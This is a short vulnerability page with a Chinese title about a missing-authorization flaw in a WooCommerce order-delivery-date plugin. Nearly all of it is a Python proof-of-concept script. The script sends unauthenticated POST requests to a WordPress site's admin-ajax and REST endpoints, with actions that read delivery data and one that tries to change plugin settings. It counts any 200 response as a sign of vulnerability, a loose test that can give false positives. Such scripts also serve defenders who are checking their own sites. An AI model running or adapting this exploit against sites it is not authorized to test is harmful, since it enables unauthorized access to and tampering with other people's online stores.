CVE-2025-63024 WordPress Order Delivery Date插件缺失授权漏洞

# CVE-2025-63024 PoC - Missing Authorization in Order Delivery Date for WooCommerce # This PoC demonstrates accessing admin functionality without proper authorization import requests import sys TARGET_URL = "https://example-wordpress-site.com" # Replace with target URL def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-63024 """ # Common AJAX endpoint used by the plugin ajax_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/wc-od/v1/" ] # Test unauthenticated access to admin functions headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Example: Try to access order delivery date settings without auth # Note: Specific parameters depend on plugin version and configuration test_payloads = [ {"action": "wc_od_admin_get_delivery_dates", "post_id": "1"}, {"action": "wc_od_admin_update_settings", "delivery_date": "2025-12-25"} ] for endpoint in ajax_endpoints: url = f"{TARGET_URL}{endpoint}" for payload in test_payloads: try: response = requests.post(url, data=payload, headers=headers, timeout=10) # If response indicates success or data access without 401/403 if response.status_code == 200 and "unauthorized" not in response.text.lower(): print(f"[+] Potential vulnerability found at {url}") print(f"[+] Payload: {payload}") print(f"[+] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[-] No vulnerability detected or target not accessible") return False if __name__ == "__main__": print("CVE-2025-63024 Vulnerability Checker") print("=" * 50) check_vulnerability()